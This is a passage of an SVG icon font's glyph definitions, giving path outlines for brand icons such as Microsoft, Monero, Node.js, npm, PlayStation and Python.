d="M71.5 305.7c0.599609 5.89941 -1.7002 11.7998 -6.09961 15.7998l-45.1006 54.4004v8.09961h140.2l108.4 -237.7l95.2998 237.7h133.7v-8.09961l-38.6006 -37c-3.2998 -2.5 -5 -6.7002 -4.2998 -10.8008v-272c-0.700195 -4.09961 1 -8.2998 4.2998 -10.7998l37.7002 -37
v-8.09961h-189.7v8.09961l39.1006 37.9004c3.7998 3.7998 3.7998 5 3.7998 10.7998v219.8l-108.7 -275.899h-14.7002l-126.399 275.899v-184.899c-1.10059 -7.80078 1.5 -15.6006 7 -21.2002l50.7998 -61.6006v-8.09961h-144v8l50.7998 61.7002
c5.40039 5.59961 7.90039 13.5 6.5 21.2002v213.8z" />
    <glyph glyph-name="medrt" unicode="&#xf3c8;" horiz-adv-x="544" 
d="M113.7 192c0 -121.8 83.8994 -222.8 193.5 -241.1c-18.7002 -4.5 -38.2002 -6.90039 -58.2002 -6.90039c-137.6 0 -249 111 -249 248s111.4 248 248.9 248c20.0996 0 39.5996 -2.40039 58.1992 -6.90039c-109.6 -18.2998 -193.399 -119.3 -193.399 -241.1zM411.1 91.7002
c77.7002 55.3994 104.4 155.1 67 233.899c11.2002 -9.89941 21.5 -21.2998 30.5 -34.1992c61.6006 -88.3008 40.8008 -210.301 -46.5 -272.601c-87.2998 -62.2998 -208.1 -41.2002 -269.699 47c-9 12.7998 -16.2002 26.4004 -21.7002 40.5
c60.7998 -62.0996 162.7 -70 240.399 -14.5996zM192.3 335.7c72.5 54.5996 171.601 45.7002 221.601 -19.7998c45.2998 -59.7002 34.3994 -145.601 -22.3008 -201.801c18.5 51.4004 11.3008 111 -24.3994 158c-43 56.5 -114.601 78.3008 -178.9 60.5
c1.2998 1 2.60059 2.10059 4 3.10059zM296 224h40c4.40039 0 8 -3.59961 8 -8v-48c0 -4.40039 -3.59961 -8 -8 -8h-40c-4.40039 0 -8 -3.59961 -8 -8v-40c0 -4.40039 -3.59961 -8 -8 -8h-48c-4.40039 0 -8 3.59961 -8 8v40c0 4.40039 -3.59961 8 -8 8h-40
c-4.40039 0 -8 3.59961 -8 8v48c0 4.40039 3.59961 8 8 8h40c4.40039 0 8 3.59961 8 8v40c0 4.40039 3.59961 8 8 8h48c4.40039 0 8 -3.59961 8 -8v-40c0 -4.40039 3.59961 -8 8 -8z" />
    <glyph glyph-name="microsoft" unicode="&#xf3ca;" 
d="M0 416h214.6v-214.6h-214.6v214.6zM233.4 416h214.6v-214.6h-214.6v214.6zM0 182.6h214.6v-214.6h-214.6v214.6zM233.4 182.6h214.6v-214.6h-214.6v214.6z" />
    <glyph glyph-name="mix" unicode="&#xf3cb;" 
d="M0 384h448v-204.1c0 -56.6006 -88 -59.9004 -88 0v23.7998c0 56.7998 -82.7002 59 -88 4.2998v-116.1c0 -58 -96 -57.9004 -96 0v175.3c0 56.8994 -80.0996 59.3994 -88 6.5v-238.601c0 -58.0996 -88 -56.1992 -88 0v348.9z" />
    <glyph glyph-name="mizuni" unicode="&#xf3cc;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111.1 248 -248c0 -137 -111 -248 -248 -248s-248 111 -248 248c0 136.9 111 248 248 248zM168 88.0996v223.9c0 22.0996 -17.9004 40 -40 40s-40 -17.9004 -40 -40v-272.1c21.2002 20.8994 48.5996 37.5996 80 48.1992zM288 98v214
c0 22.0996 -17.9004 40 -40 40s-40 -17.9004 -40 -40v-214c13 2 26.4004 3.09961 40.2002 3.09961c13.5996 0 26.8994 -1.09961 39.7998 -3.09961zM408 40.2998v271.7c0 22.0996 -17.9004 40 -40 40s-40 -17.9004 -40 -40v-223.7c31.4004 -10.5996 58.7998 -27.2002 80 -48z
" />
    <glyph glyph-name="monero" unicode="&#xf3d0;" horiz-adv-x="496" 
d="M352 64h108.4c-43.4004 -71.9004 -122.301 -120 -212.4 -120s-169 48.0996 -212.4 120h108.4v127.8l104 -104.8l104 105v-128zM88 112h-74.7998c-8.60059 25.0996 -13.2002 52 -13.2002 80c0 137 111 248 248 248s248 -111 248 -248c0 -28 -4.7002 -54.9004 -13.2002 -80
h-74.7998v208l-160.6 -159.4l-159.4 159.4v-208z" />
    <glyph glyph-name="napster" unicode="&#xf3d2;" horiz-adv-x="496" 
d="M298.3 74.4004c-14.2002 -13.6006 -31.2998 -24.1006 -50.3994 -30.5c-19 6.39941 -36.2002 16.8994 -50.3008 30.5h100.7zM342.3 274c-56.3994 39.7998 -132.1 39.9004 -188.899 -0.0996094c-19.9004 16.7998 -43.6006 29.5 -69.5 36.3994v-161.6
c0 -217.3 328 -219.101 328 0.299805v161.2c-26 -7 -49.6006 -19.2998 -69.6006 -36.2002zM133.5 332.5c6.5 -3.2002 14.0996 -7.40039 20.4004 -11.4004c58.6992 30.5 129.199 30.6006 187.899 0.100586c6.7002 4.2002 13.5 8 20.6006 11.5
c-64.6006 59.8994 -164.5 59.7998 -228.9 -0.200195zM43.7998 354.8c17.5 -0.5 34.2998 -3.09961 50.6006 -7.5c82 91.6006 225.5 91.6006 307.5 0.100586c16.0996 4.39941 32.7998 6.89941 50.0996 7.39941v-69.2002c58.7002 -36.5 58.5 -121.899 -0.200195 -158.199
l-0.299805 -1.7002c-25.9004 -238.8 -381.2 -243.601 -407.6 1.5c-58.5 37.2002 -58.5 121.8 -0.100586 158.3v69.2998zM259.2 96c13.0996 59.2998 33.5 56 113 55.4004c-0.799805 -8.2002 0.0996094 -32.3008 -26.2002 -47.4004c-4.40039 -2.5 -15.2998 -6 -25.5 -6.5
c-25.2998 -1.2002 -61.2998 -1.5 -61.2998 -1.5zM123.7 151.3c79.2998 0.700195 99.7998 4 113 -55.3994c0 0 -36 0.399414 -61.2998 1.5c-10.3008 0.5 -21.1006 4 -25.5 6.5c-26.3008 15.0996 -25.4004 39.1992 -26.2002 47.3994zM292.8 27.9004
c3 -4.90039 3.2002 -8.80078 3.2998 -8.90039c-29.0996 -17.5996 -67.0996 -17.5996 -96.1992 0c0 0 0.899414 5.5 3.69922 9.59961c3.5 5.10059 6.40039 6.60059 6.40039 6.60059c23.7002 -6.90039 51.0996 -7.2998 75.9004 0c0 0 3.69922 -2 6.89941 -7.2998z" />
    <glyph glyph-name="node-js" unicode="&#xf3d3;" 
d="M224 -60c-6.7002 0 -13.5 1.7998 -19.4004 5.2002l-61.6992 36.5c-9.2002 5.2002 -4.7002 7 -1.7002 8c12.2998 4.2998 14.7998 5.2002 27.8994 12.7002c1.40039 0.799805 3.2002 0.5 4.60059 -0.400391l47.3994 -28.0996c1.7002 -1 4.10059 -1 5.7002 0l184.7 106.6
c1.7002 1 2.7998 3 2.7998 5v213.2c0 2.09961 -1.09961 4 -2.89941 5.09961l-184.601 106.5c-1.7002 1 -4 1 -5.7002 0l-184.5 -106.6c-1.7998 -1 -2.89941 -3 -2.89941 -5.10059v-213.1c0 -2 1.09961 -4 2.89941 -4.90039l50.6006 -29.1992
c27.5 -13.7002 44.2998 2.39941 44.2998 18.6992v210.4c0 3 2.40039 5.2998 5.40039 5.2998h23.3994c2.90039 0 5.40039 -2.2998 5.40039 -5.2998v-210.5c0 -36.5996 -20 -57.5996 -54.7002 -57.5996c-10.7002 0 -19.0996 0 -42.5 11.5996l-48.4004 27.9004
c-12 6.89941 -19.3994 19.7998 -19.3994 33.6992v213.101c0 13.7998 7.39941 26.7998 19.3994 33.7002l184.5 106.6c11.7002 6.59961 27.2002 6.59961 38.8008 0l184.699 -106.7c12 -6.89941 19.4004 -19.7998 19.4004 -33.7002v-213.1
c0 -13.7998 -7.40039 -26.7002 -19.4004 -33.7002l-184.699 -106.6c-5.90039 -3.40039 -12.6006 -5.2002 -19.4004 -5.2002zM373.1 150.1c0 -40.1992 -33.5996 -63.2998 -92 -63.3994c-80.8994 0 -97.7998 37.0996 -97.7998 68.2002c0 2.89941 2.2998 5.2998 5.2998 5.2998
h23.9004c2.7002 0 4.90039 -1.90039 5.2998 -4.5c3.60059 -24.2998 14.2998 -36.6006 63.2002 -36.6006c38.9004 0 55.5 8.80078 55.5 29.4004c0 11.9004 -4.7002 20.7998 -65.2002 26.7002c-50.5 5 -81.7998 16.2002 -81.7998 56.5996c0 37.2998 31.4004 59.5 84.0996 59.5
c59.2002 0 88.5 -20.5 92.2002 -64.5996c0.100586 -1.5 -0.399414 -3 -1.39941 -4.10059c-1 -1.09961 -2.40039 -1.69922 -3.90039 -1.69922h-24c-2.5 0 -4.7002 1.7998 -5.2002 4.19922c-5.7998 25.6006 -19.7998 33.8008 -57.7002 33.8008
c-42.5 0 -47.3994 -14.8008 -47.3994 -25.9004c0 -13.4004 5.7998 -17.2998 63.2002 -24.9004c56.6992 -7.5 83.6992 -18.0996 83.6992 -58z" />
    <glyph glyph-name="npm" unicode="&#xf3d4;" horiz-adv-x="576" 
d="M288 160h-32v64h32v-64zM576 288v-192h-288v-32h-128v32h-160v192h576zM160 256h-128v-128h64v96h32v-96h32v128zM320 256h-128v-160h64v32h64v128zM544 256h-192v-128h64v96h32v-96h32v96h32v-96h32v128z" />
    <glyph glyph-name="ns8" unicode="&#xf3d5;" horiz-adv-x="640" 
d="M187.1 288.1h44.9004l-48.5 -160.1h-56.9004l-50.5996 106.5l-31.0996 -106.5h-44.9004l49 160.1h49.4004l54.5 -113.699zM639.6 289c4.60059 -28.5996 -36.0996 -44.7002 -65.6992 -50.5996h-0.100586c17.5 -29.3008 22.1006 -69.3008 3.40039 -105.5
c-26.4004 -51.2002 -86.5 -79.9004 -135.101 -68c-29.3994 7.19922 -51.3994 29 -56.7998 59.5c-0.700195 3.5 -1 7.09961 -1.2002 10.7998c-5.5 -2.7998 -11.8994 -4.2002 -18.5 -4.90039c-15.5996 -1.7002 -21 -2.2998 -160.899 -2.2998l11.5996 39.5h126.8
c9.10059 0 12.2002 3.2002 13.8008 7.40039c1.69922 4.59961 3.39941 10.1992 4.5 14.5996c1.09961 3.90039 0.0996094 6.59961 -7.7002 6.59961h-87.2998c-33.4004 0 -38.2002 9.2002 -32.8008 28.6006c3.2002 11.5 10.8008 37.2002 17.6006 47.0996
c7.09961 10.2002 18.2998 13.7002 30.5996 15c15.6006 1.7002 20.4004 1.2002 160.101 1.2002l-9.7002 -31.5h-133.5c-5.5 0 -11.2002 -0.700195 -13.2998 -7.09961c-1.80078 -5.40039 -2.10059 -6.7002 -3.7002 -12.2002c-1.40039 -5.10059 2.2002 -7.40039 11.5 -7.40039
h87.5996c20.4004 0 31 -6.7998 34 -16.5996c19.9004 21.3994 50.4004 39.5 94.2002 48.2002v0.0996094c-13.4004 42.5 43.9004 66.5996 88.5 58.7998c18.2002 -3.2002 39.2002 -13.2998 42.0996 -31.2998zM530.7 184.3c3.09961 15.7998 -0.5 33.7002 -7.2002 47.7998
c-23.2998 -2.89941 -52.2998 -10.0996 -68.5 -26.8994c-24.4004 -25.2998 -16.7998 -60 14.0996 -64.7998c25 -3.90039 55.7002 14.3994 61.6006 43.8994zM552.5 267.4c10.5996 1.5 23.5 3.5 34.2002 9.59961c14.7998 8.5 10.3994 21 -4.90039 24.4004
c-10.8994 2.39941 -25.0996 -0.5 -31.7998 -7.7002c-7.2998 -7.7998 -1.7002 -20.2998 2.5 -26.2998z" />
    <glyph glyph-name="nutritionix" unicode="&#xf3d6;" horiz-adv-x="400" 
d="M88 439.9c0 0 133.4 8.19922 121 -104.4c0 0 19.0996 74.9004 103 40.5996c0 0 -17.7002 -74 -88 -56c0 0 14.5996 54.6006 66.0996 56.6006c0 0 -39.8994 10.2998 -82.0996 -48.7998c0 0 -19.7998 94.5 -93.5996 99.6992c0 0 75.1992 -19.3994 77.5996 -107.5
c0 -0.0996094 -106.4 -7 -104 119.801zM400 124.3c0 -48.5 -9.7002 -95.2998 -32 -132.3c-42.2002 -30.9004 -105 -48 -168 -48c-62.9004 0 -125.8 17.0996 -168 48c-22.2998 37 -32 83.7998 -32 132.3c0 48.4004 17.7002 94.7002 40 131.7
c42.2002 30.9004 97.0996 48.5996 160 48.5996c63 0 117.8 -17.5996 160 -48.5996c22.2998 -37 40 -83.2998 40 -131.7zM120 20c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM120 86.2002c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28
s12.5 -28 28 -28s28 12.5 28 28zM120 152.4c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM192 20c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM192 86.2002c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28
s12.5 -28 28 -28s28 12.5 28 28zM192 152.4c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM264 20c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM264 86.2002c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28
s12.5 -28 28 -28s28 12.5 28 28zM264 152.4c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM336 20c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM336 86.2002c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28
s12.5 -28 28 -28s28 12.5 28 28zM336 152.4c0 15.5 -12.5 28 -28 28s-28 -12.5 -28 -28s12.5 -28 28 -28s28 12.5 28 28zM360 192c-4.7998 22.2998 -7.40039 36.9004 -16 56c-38.7998 19.9004 -90.5 32 -144 32s-105.2 -12.0996 -144 -32
c-8.7998 -19.5 -11.2002 -33.9004 -16 -56c42.2002 7.90039 98.7002 14.7998 160 14.7998s117.8 -6.89941 160 -14.7998z" />
    <glyph glyph-name="page4" unicode="&#xf3d7;" horiz-adv-x="496" 
d="M248 -56c-137 0 -248 111 -248 248s111 248 248 248c20.9004 0 41.2998 -2.59961 60.7002 -7.5l-266.4 -376.5h205.7v-112zM248 87.5996h-149.4l149.4 213.601v-213.601zM344 56h111.4c-26.9004 -41 -65.7002 -73.5 -111.4 -92.7002v92.7002zM401.4 194.2v-16.7002
l-21.2002 8.2998zM381.1 139.7c5.90039 0 8.2002 -4.7002 8.2002 -10.6006v-10h-16.2002v7.7002c0 6.60059 1.30078 12.9004 8 12.9004zM496 192c0 -37.2998 -8.2002 -72.7002 -23 -104.4h-129v333.101c89.2998 -37.5 152 -125.8 152 -228.7zM360.4 304.4h68.1992v47.5996
h-13.8994v-32.5996h-13.9004v29.5996h-13.8994v-29.5996h-12.7002v32.5996h-13.9004v-47.5996h0.100586zM428.5 119.1h-26.5v11c0 15.4004 -5.59961 25.2002 -20.9004 25.2002c-15.3994 0 -20.6992 -10.5996 -20.6992 -25.8994v-25.3008h68.1992v15h-0.0996094zM428.5 222.1
l-68.2002 -29.6992v-12.4004l68.2002 -29.5v16.5996l-14.4004 5.7002v26.5l14.4004 5.90039v16.8994zM423.7 290.6h-35.6006v-26.5996h13.9004v12.2002h11c8.59961 -15.7998 1.2998 -35.2998 -18.5996 -35.2998c-22.5 0 -28.3008 25.2998 -15.5 37.6992l-11.6006 10.6006
c-16.2002 -17.5 -12.2002 -63.9004 27.1006 -63.9004c34 0 44.6992 35.9004 29.2998 65.2998z" />
    <glyph glyph-name="palfed" unicode="&#xf3d8;" horiz-adv-x="576" 
d="M384.9 254.1c0.0996094 -53.3994 -46.5 -96.1992 -83.3008 -96.1992c-12.5 0 -14.3994 3.39941 -15.0996 6.19922c0.5 39.1006 1.7002 80.4004 3 119.801c40.2002 14.3994 95.4004 17.5996 95.4004 -29.8008zM190.4 181.9
c-0.200195 0.599609 -0.400391 2.09961 -0.600586 4.59961c0 25.5996 37 60.9004 58.5 75.9004c-1.2002 -36.4004 -5.5 -198.101 -1.39941 -242.5c3 -32.3008 26.7998 -32.9004 36.3994 -22.3008c5.90039 6.60059 5.5 15.7002 5.2998 19.1006v0.200195
c-1.7998 25.5996 -2.7998 60.5996 -2.69922 100c60.7998 -14.4004 140.1 60.2998 140.1 138.199c0 71 -63 94.2002 -135.2 72c-2.89941 14.6006 -18.2998 20.1006 -29.5 11.1006c-7.5 -6.2002 -9.5 -15.7998 -10.5 -28.2002c-57.7998 -30.9004 -100.7 -84.5 -100.7 -126.5
c0 -24.9004 15.6006 -43 37.1006 -43c35.0996 0 41 44.0996 14.3994 44.0996c-4.69922 0 -11 -2.69922 -11.1992 -2.69922zM8 266.9c0 38.5996 38.4004 37.3994 38.4004 37.3994h29c15.5 70.1006 120.5 74.2998 120.5 74.2998h28.0996v19.1006
c0 18.3994 21.0996 18.3994 21.0996 18.3994h85.8008c18.3994 0 21.0996 -18.3994 21.0996 -18.3994v-19.1006h28c89.2002 0 112.1 -48.6992 119.4 -74.2998h30.0996c38.5 0 38.4004 -37.3994 38.4004 -37.3994c0 -38.6006 -38.4004 -37.4004 -38.4004 -37.4004h-30
l-22.4004 -217.2c0 -43.8994 -44.6992 -44.2998 -44.6992 -44.2998h-288.9c-44.7002 0 -44.7002 44.2998 -44.7002 44.2998l-22.3994 217.2h-30c-38.5 0 -38.4004 37.4004 -38.4004 37.4004z" />
    <glyph glyph-name="patreon" unicode="&#xf3d9;" horiz-adv-x="512" 
d="M512 253.2c0 -101.3 -82.4004 -183.8 -183.8 -183.8c-101.7 0 -184.4 82.3994 -184.4 183.8c0 101.6 82.7002 184.3 184.4 184.3c101.399 0 183.8 -82.7002 183.8 -184.3zM0 -53.5v491h90v-491h-90z" />
    <glyph glyph-name="periscope" unicode="&#xf3da;" 
d="M370 384.4c38.4004 -40.7002 59.5 -94.3008 59.5 -150.801c0 -74.2998 -57.4004 -159.5 -82 -192.6c-8 -10.7998 -79.2998 -105 -120.9 -105c-34 0 -88.7998 56.5 -125.399 104.9c-24.9004 32.8994 -82.7002 117.6 -82.7002 192.699c0 118.2 93.4004 214.4 208.1 214.4
c53.9004 0 104.801 -22.5996 143.4 -63.5996zM226.6 -45.9004c37.3008 0 184.801 167.301 184.7 279.4c0 107.3 -83.8994 196.3 -184.7 196.3c-106.1 0 -190 -88.8994 -190 -196.3c0 -112.1 147.5 -279.4 190 -279.4zM338 241.2c0 -59.1006 -51.0996 -109.7 -110.8 -109.7
c-100.601 0 -150.7 108.2 -92.9004 181.8v-0.399414c0 -24.5 20.1006 -44.4004 44.7998 -44.4004c24.7002 0 44.8008 19.9004 44.8008 44.4004c0 18.1992 -11.1006 33.7998 -26.9004 40.6992c76.5996 19.2002 141 -39.2998 141 -112.399z" />
    <glyph glyph-name="phabricator" unicode="&#xf3db;" horiz-adv-x="496" 
d="M323 185.9c0 0 21.5996 -19.6006 20.9004 -20.7002l-8.10059 -19.7998c-0.5 -1.40039 -29.7002 -0.5 -29.7002 -0.5l-9.09961 -9.10059s1.59961 -31.5 0.200195 -32.0996l-20 -7.5c-1.2998 -0.5 -21.7998 23.2998 -21.7998 23.2998l-13.1006 0.200195
s-19.2998 -24.1006 -20.7002 -23.5l-20.0996 8.2998c-1.40039 0.5 -1.2002 32.2998 -1.2002 32.2998l-9.39941 9.2998s-28.9004 -0.899414 -29.5 0.5l-9.5 20c-0.600586 1.40039 21.0996 21.2002 21.0996 21.2002l-0.0996094 12.9004s-21.6006 19.5996 -21 21
l8.09961 19.7998c0.5 1.2998 29.7002 0.400391 29.7002 0.400391l9.09961 9.09961s-1.59961 28.4004 -0.200195 28.9004l20 8.2998c1.40039 0.599609 21.9004 -20.7998 21.9004 -20.7998l13.0996 -0.200195s19.3008 21.5996 20.7002 21l20.1006 -9.2002
c1.39941 -0.599609 1.19922 -29.0996 1.19922 -29.0996l9.40039 -9.30078s28.9004 0.900391 29.5 -0.5l9.5 -20c0.599609 -1.39941 -21.0996 -21.1992 -21.0996 -21.1992zM278.1 194.6c-0.699219 17 -15.5 30.3008 -32.7998 29.5
c-17.2998 -0.699219 -30.7998 -15.1992 -30.0996 -32.2998c0.700195 -17.0996 15.5 -30.3994 32.7998 -29.5996s30.7998 15.2998 30.0996 32.3994zM479.3 232.5c22.2998 -22.2998 22.2998 -58.7002 0 -81c-67.3994 -67.4004 -44.2998 -44.4004 -95.2998 -95.2998
c-74.4004 -74.5 -194.7 -74.9004 -269.8 -1.60059l-0.100586 -0.0996094c-51 51 -27.5 27.5996 -97.3994 97c-22.2998 22.2998 -22.2998 58.7002 0 81c67.8994 67.4004 44.7998 44.2998 95.7002 95.2998c74.3994 74.4004 194.699 74.9004 269.8 1.60059l0.0996094 0.0996094
zM140.4 84.2002c59.5996 -59.5 156 -59.6006 215.6 -0.100586c59.5996 59.6006 59.5 156.101 0 215.601c-59.5996 59.5 -156.1 59.5996 -215.6 0c-59.6006 -59.5 -59.6006 -156 0 -215.5z" />
    <glyph glyph-name="phoenix-framework" unicode="&#xf3dc;" horiz-adv-x="640" 
d="M212.9 103.7c-36.7002 -1.2002 -108.7 29.2998 -127.7 106.399c-8.7002 35.3008 -2.7002 51.8008 -8 86.1006c-8.2002 53.3994 -32.1006 72.2002 -55.9004 76.5c-6.2002 1.09961 -12.3994 1.2998 -18.7002 0.299805
c-0.799805 -0.0996094 -1.59961 -0.200195 -2.39941 -0.200195c-0.100586 0.200195 -0.100586 0.299805 -0.200195 0.5c0.700195 0.600586 1.40039 1.2002 2.2002 1.7998c36.8994 26.9004 92 38.4004 136.3 35c123.6 -9.5 141.3 -156.6 252.5 -173.1
c6.09961 -0.900391 12.2998 -1.09961 18.5 -1.7002c0.700195 -0.0996094 1.40039 -0.0996094 2.5 -0.200195c-2.09961 -2.19922 -21.5996 -11.7998 -36.5 -14.5c-18.4004 -3.39941 -35.7002 -0.0996094 -51.2998 10.3008c-14.5 9.7998 -24.5 23.5 -38.9004 27.3994
c-13 3.60059 -34.0996 1.7002 -35.8994 -19.5996c-1.30078 -15.9004 14.1992 -51.7998 51.7998 -74.6006c40.3994 -24.5 101.399 -26.8994 134.7 -14.7998c0.299805 0.100586 0.699219 0.200195 1.09961 0.299805c0.200195 0.100586 0.400391 0 1 -0.0996094
c-23.5996 -28.4004 -71.2002 -49.9004 -108.2 -45.4004c-50.3994 6.2002 -77.7002 75.9004 -113.7 97.5c-19.0996 11.5 -49.0996 7 -52 -18.5c-1.09961 -10 2.10059 -19 6.40039 -27.5996c24.4004 -48.5996 65.5996 -47 68 -49.5996
c-2.7998 -0.800781 -21.7998 -2.10059 -25.5996 -2.2002zM75.2998 383.1c13.1006 -14.5 34.2002 -7.89941 35.2998 6.80078c-12.3994 -0.700195 -24.5 -2.2002 -36.5996 -4.80078c0.400391 -0.799805 0.400391 -1 1.2998 -2zM272.2 32.5996
c-42.7998 -1.19922 -92 26.7002 -123.5 61.4004c-4.60059 5 -16.7998 20.2002 -18.6006 23.4004l0.400391 0.399414c6.59961 -4.09961 25.7002 -18.5996 54.7998 -27c24.2002 -7 48.1006 -6.2998 71.6006 3.2998c22.6992 9.30078 41 0.5 43.0996 -2.89941
c-18.5 -3.7998 -20.0996 -4.40039 -24 -7.90039c-5.09961 -4.39941 -4.59961 -11.7002 7 -17.2002c26.2002 -12.3994 63 2.80078 97.2002 -25.3994c2.39941 -2 8.09961 -7.7998 10.0996 -10.7002c-0.0996094 -0.200195 -0.299805 -0.299805 -0.399414 -0.5
c-4.80078 1.5 -16.4004 7.5 -40.2002 9.2998c-24.7002 2 -46.2998 -5.2998 -77.5 -6.2002zM447 284.6c16.4004 5.2002 41.2998 13.4004 66.5 3.30078c16.0996 -6.5 26.2002 -18.7002 32.0996 -34.6006c3.5 -9.39941 5.10059 -19.7002 5.10059 -28.7002
c-0.200195 0 -0.400391 0 -0.600586 -0.0996094c-0.199219 0.400391 -0.399414 0.900391 -0.5 1.2998c-5 22 -29.8994 43.7998 -67.5996 29.9004c-50.2002 -18.6006 -130.4 -9.7002 -176.9 48c-0.699219 0.899414 -2.39941 1.7002 -1.2998 3.2002
c0.100586 0.199219 2.10059 -0.600586 3 -1.30078c18.1006 -13.3994 38.2998 -21.8994 60.2998 -26.1992c30.5 -6.10059 54.6006 -2.90039 79.9004 5.19922zM549.7 167.1c-32.4004 -0.199219 -33.7998 -50.0996 -103.601 -64.3994
c-18.1992 -3.7002 -38.6992 -4.60059 -44.8994 -4.2002v0.400391c2.7998 1.5 14.7002 2.59961 29.7002 16.5996c7.89941 7.2998 15.2998 15.0996 22.7998 22.9004c19.5 20.1992 41.3994 42.1992 81.8994 39c23.1006 -1.80078 29.3008 -8.2002 36.1006 -12.7002
c0.299805 -0.200195 0.399414 -0.5 0.700195 -0.900391c-0.5 0 -0.700195 -0.0996094 -0.900391 0c-7 2.7002 -14.2998 3.2998 -21.7998 3.2998zM537.4 191.2c-0.100586 -0.200195 -0.100586 -0.400391 -0.200195 -0.600586c-28.9004 4.40039 -48 7.90039 -68.5 -4
c-17 -9.89941 -31.4004 -20.5 -62 -24.3994c-27.1006 -3.40039 -45.1006 -2.40039 -66.1006 8c-0.299805 0.200195 -0.599609 0.399414 -1 0.599609c0 0.200195 0.100586 0.299805 0.100586 0.5c24.8994 -3.7998 36.3994 -5.09961 55.5 5.7998
c22.2998 12.9004 40.0996 26.6006 71.2998 31c29.5996 4.10059 51.2998 -2.5 70.9004 -16.8994zM268.6 350.7c-0.599609 0.599609 -1.09961 1.2002 -2.09961 2.2998c7.59961 0 29.7002 1.2002 53.4004 -8.40039c19.6992 -8 32.1992 -21 50.1992 -32.8994
c11.1006 -7.2998 23.4004 -9.2998 36.4004 -8.10059c4.2998 0.400391 8.5 1.2002 12.7998 1.7002c0.400391 0.100586 0.900391 0 1.5 -0.299805c-0.599609 -0.400391 -1.2002 -0.900391 -1.7998 -1.2002c-8.09961 -4 -16.7002 -6.2998 -25.5996 -7.09961
c-26.1006 -2.60059 -50.3008 3.7002 -73.4004 15.3994c-19.2998 9.90039 -36.4004 22.9004 -51.4004 38.6006zM640 112.3c-3.5 -3.09961 -22.7002 -11.5996 -42.7002 -5.2998c-12.2998 3.90039 -19.5 14.9004 -31.5996 24.0996
c-10 7.60059 -20.9004 7.90039 -28.1006 8.40039c0.600586 0.799805 0.900391 1.2002 1.2002 1.40039c14.7998 9.19922 30.5 12.1992 47.2998 6.5c12.5 -4.2002 19.2002 -13.5 30.4004 -24.2002c10.7998 -10.4004 21 -9.90039 23.0996 -10.5
c0.100586 0.0996094 0.200195 0 0.400391 -0.400391zM427.5 -24.7002c2.2002 -1.2002 1.59961 -1.5 1.5 -2c-18.5 1.40039 -33.9004 7.60059 -46.7998 22.2002c-21.7998 24.7002 -41.7002 27.9004 -48.6006 29.7002c0.5 0.200195 0.800781 0.399414 1.10059 0.399414
c13.0996 -0.0996094 26.0996 -0.699219 38.8994 -3.89941c25.3008 -6.40039 35 -25.4004 41.6006 -35.2998c3.2002 -4.80078 7.2998 -8.30078 12.2998 -11.1006z" />
    <glyph glyph-name="playstation" unicode="&#xf3df;" horiz-adv-x="576" 
d="M570.9 75.7002c-11.3008 -14.2002 -38.8008 -24.2998 -38.8008 -24.2998l-205.1 -73.6006v54.2998l150.9 53.8008c17.0996 6.09961 19.7998 14.7998 5.7998 19.3994c-13.9004 4.60059 -39.1006 3.2998 -56.2002 -2.89941l-100.5 -35.5v56.3994
c23.2002 7.7998 47.0996 13.6006 75.7002 16.7998c40.8994 4.5 90.8994 -0.599609 130.2 -15.5c44.1992 -14 49.1992 -34.6992 38 -48.8994zM346.5 168.2v139c0 16.2998 -3 31.2998 -18.2998 35.5996c-11.7002 3.7998 -19 -7.09961 -19 -23.3994v-347.9l-93.7998 29.7998
v414.7c39.8994 -7.40039 98 -24.9004 129.199 -35.4004c79.5 -27.2998 106.4 -61.2998 106.4 -137.8c0 -74.5 -46 -102.8 -104.5 -74.5996zM43.2002 37.7998c-45.4004 12.7998 -53 39.5 -32.2998 54.7998c19.0996 14.2002 51.6992 24.9004 51.6992 24.9004l134.5 47.7998
v-54.5l-96.7998 -34.5996c-17.0996 -6.10059 -19.7002 -14.7998 -5.7998 -19.4004c13.9004 -4.59961 39.0996 -3.2998 56.2002 2.90039l46.3994 16.8994v-48.7998c-51.5996 -9.2998 -101.399 -7.2998 -153.899 10z" />
    <glyph glyph-name="pushed" unicode="&#xf3e1;" horiz-adv-x="432" 
d="M407 336.1c21.7002 -1.89941 33.7998 -28 17.4004 -44.7998l-235.2 -231.3l-35.2998 -80.7998c-11 -17.2002 -41.2002 -14.2998 -47.7002 7l-105.101 348.3c-4.59961 18.2998 6.30078 33.9004 21.4004 36.5996l271.3 44.4004c17.9004 3.40039 39.1006 -13.5 28.7002 -37
l-14 -33.4004zM297.6 394.4l-189 -31l177.4 -16.3008l16.7998 39.9004c2.2998 4.90039 -0.0996094 8.09961 -5.2002 7.40039zM22.7002 340.1l157.899 -244.3l96.9004 230.7l-248.7 22.7002c-5.09961 0.899414 -9.2002 -4 -6.09961 -9.10059zM136 -8.40039
c0 0 28.2002 64.1006 35.2002 79.1006l-127.7 197.6l83.0996 -275.5c1.5 -4.2998 6.80078 -5.2002 9.40039 -1.2002zM408.8 306.1c3.10059 3.30078 1.40039 7.5 -2.59961 8.60059l-106.4 9.7002l-89.7002 -213.7z" />
    <glyph glyph-name="python" unicode="&#xf3e2;" 
d="M439.8 247.5c10.7002 -42.9004 11.2002 -75.0996 0 -108.6c-10.7998 -32.5 -22.2998 -54.2002 -53.3994 -54.2002h-160.2v-13.6006h106.7v-40.6992c0 -30.8008 -26.5 -46.5 -53.4004 -54.3008c-40.5 -11.6992 -73 -9.89941 -106.8 0
